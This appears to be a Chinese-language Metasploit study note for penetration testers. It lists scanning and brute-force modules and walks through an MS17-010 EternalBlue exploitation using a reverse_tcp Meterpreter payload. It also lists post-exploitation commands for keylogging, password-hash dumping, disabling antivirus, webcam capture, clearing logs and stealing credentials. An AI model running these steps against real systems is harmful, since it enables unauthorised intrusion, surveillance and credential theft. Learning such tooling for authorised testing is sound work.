MSF术语
- 渗透攻击(Exploit):攻击者利用系统,应用服务中的安全漏洞,进行的攻击行为。(缓存区溢出,web漏洞,配置错误等)
- 攻击载荷(Payload):在目标系统被渗透攻击之后而执行的代码。
- 溢出代码(Shellcode):在渗透攻击时作为国家载荷运行的机器指令。在shellcode执行后,才提供一个shell或meterpreter shell
- 模块(Module):MSF框架中所使用的一段代码组件。
- 监听(Listener):MSF中用来等带连入网络连接的组件
模块
- Auxiliaries (辅助模块):该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅 探、指纹识别等相关功能以辅助渗透测试
- Exploit (漏洞利用模块):漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的 攻击行为。
- Payload (攻击载荷模块 ):攻击载荷是我们期望 目标系统在被渗透攻击之后完成实际攻击功能的代码,成 功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框 架中可以自由地选择、传送和植入。
- Post (后期渗透模块):该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作, 如获取敏感信息、实施跳板攻击等。
- Encoders (编码工具模块):该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、 IDS及类似的安全 软件检测出来。
基础命令:
- show exploits:寻找可用的渗透攻击模块.
- show auxiliary:寻找辅助模块(扫描器,拒绝服务攻击,Fuzz测试等)
- show options: 查看模块所需的所有参数配置.
- show payloads :显示当前模块相兼容的攻击载荷
- show targets:列出模块受漏洞影响的目标操作系统类型.
- info :详细输出模块信息
- set,unset:模块中有些参数为必填项(required),利用此命令设置参数,或禁用参数.
- setg,unsetg:对全局参数进行设置或清除.
- save :将setg命令设置的全局参数保存,以便下次开启msf使用
主机扫描
端口扫描
- 使用search 搜索 portscan
- use加模块名或编号使用该模块,show options查看要设置的参数.
- set 参数名 参数内容,设置参数.run开始攻击
辅助服务扫描模块
- search搜索scanner 会有大量的扫描模块.
常见服务:
模块 | 功能 |
---|---|
auxiliary/scanner/portscan | 端口扫描 |
auxiliary/scanner/smb_version | SMB系统版本 |
auxiliary/scanner/smb/smb_enumusers | smb枚举 |
auxiliary/scanner/smb/smb_login | smb弱口令登录 |
auxiliary/adrnin/smb/psexec_command | SMB 登录且执行命令 |
auxiliary/scanner/ssh/ssh_login | ssh服务爆破 |
scanner/mssql/mssqI _ping | MSSQL 主机信息扫描 |
admin/mssql/mssql_enum | MSSQL 枚举 |
admin/rnssql/mssql_exec | MSSQL 执行命令 |
admin/mssql/mssql_sql | MSSQL 查询 |
scanner/mssql/rnssql_login | MSSQL 弱口令扫描 |
auxiliary/admin/mysql/mysql_enum | MySQL 枚举 |
auxiliary/admin/mysql/rnysql_sql | MySQL 语句执行 |
auxiliary/scanner/mysql/mysql _login | MySQL 弱口令扫描 |
auxiliary/scanner/smtp/smtp_version | SMTP 版本扫描 |
auxiliary/scanner/smtp/smtp_enum | SMTP 枚举 |
auxiliary/scanner/snmp/community | SNMP 扫描设备 |
auxiliary/scanner/telnet/telnet_login | TELNET 爆破 |
scanner/vnc/vnc_none_auth | VNC 空口令扫描 |
其他的一些爆破模块 | |
auxiliary/scanner/ftp/ftp_login | |
auxiliary/scanner/oracle/oracle_login | |
auxiliary/scanner/postgres/postgres_login | |
auxiliary/scanner/vnc/vnc_login | |
auxiliary/scanner/pcanywhere/pcanywhere_login | |
auxiliary/scanner/snmp/snmp_login | |
auxiliary/scanner/ftp/anonymous |
ms17-010 永恒之蓝
- 进入msfconsole,search ms17-010
- 使用1模块:auxiliary/scanner/smb/smb_ms17_010 搜索存在漏洞的主机.
- 设置参数,开始攻击,找到目标(IP:192.168.186.246. win 7)
- 使用exploit/windows/smb/ms17_010_eternalblue 模块,show targets查看目标操作系统.
- info查看详细信息,并设置参数.
- 设置payload,show payloads 查看载荷.并设置为set payload windows/x64/meterpreter/reverse_tcp ,设置载荷相关参数.
- run实施攻击
8. 输入shell得到拿到shell.
Meterpreter
在使用meterpreter之前必须拿到一个meterpreter shell.
基本命令:
-
screenshot:截屏,截取目标用户的桌面
-
sysinfo:获取目标系统信息
-
ps:获取目标系统运行的程序
-
migrate:将会话移至某进程中.
-
run post/windows/capture/keylog_recorder :获取键盘记录(CTRL C 终止)
-
挖掘用户名密码:hashdump命令
-
权限提升:getsystem
命令 | 含义 |
---|---|
基本命令 | |
background | 将终端隐藏在后台 |
sessions | 查看获取的会话,-i 命令继续与会话交互 |
quit | 关闭会话 |
shell | 获取目标系统的控制台shell |
irb | 与ruby终端进行交互,也可通过附加组件railgun与windows API交互 |
文件命令 | |
cat | 查看文件内容 |
getwd | 查看当前目录 |
upload | 上传文件 |
download | 下载文件(双斜杠) |
edit | 调用vi编辑器对目标文件进行编辑 |
search | 搜索目标系统文件 |
网络命令 | |
ipconfig | 目标网络接口信息 |
portfwd | 端口转发器(在目标端口开放不允许直接访问的情况下使用) |
route | 目标路由信息 |
系统命令 | |
ps | 目标正在运行的进程信息 |
migrate | 将会话移植到另一个进程中 |
execute | 执行目标系统的文件 |
getpid | 当前会话的pid值 |
kill | 终止指定的pid程序 |
getuid | 获取会话的用户名 |
sysinfo | 目标系统信息 |
shutdown | 关机 |
其他 | |
禁止(允许)目标使用键盘 | uictl disable (enable) keyboard |
禁止(允许)目标使用鼠标 | uictl disable (enable) mouse |
run killav (post/windows/manage/killav). | 关闭杀毒软件 |
run post/windows/gather/enum_applications | 查看系统装的软件 |
execute | 执行程序或可执行文件 |
webcam_list | 获取目标系统的摄像头列表 |
webcam_snap | 从指定的摄像头,拍摄照片 |
webcam_stream | 从指定的摄像头,开启视频 |
load | 加载拓展库 |
clearev | 清除日志 |
session -u | 升级session 为 meterpreter shell |
portfwd | 端口转发 |
run autoroute | 添加路由 |
use sniffer | 抓包 |
sniffer_interfaces | 查看网卡 |
sniffer_start 1 | 选择网卡1开始抓包 |
sniffer_stats 1 | 查看网卡1状态 |
sniffer_dump 1 /tmp/wlan1.pcap | 导出pcap数据包 |
sniffer_stop 1 | 停止网卡1抓包 |
sniffer_release 1 | 释放网卡1流量 |
run arp_scanner -r IP段 # 利用arp进行存活主机扫描
run winenum # 自动化执行一些检测脚本
run credcollect # 获取用户hash
run domain_list_gen # 获取域管理账户列表
run post/multi/gather/env # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/forensics/enum_drives # 查看磁盘分区信息
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie # 获取IE缓存
run post/windows/gather/enum_firefox # 获取firefox缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞
run post/windows/gather/enum_patches # 获取补丁信息
run post/windows/gather/enum_domain # 查找域控
run post/windows/gather/enum_snmp # 获取snmp团体名称
run post/windows/gather/credentials/vnc # 获取vnc密码
run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码
run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #导出密码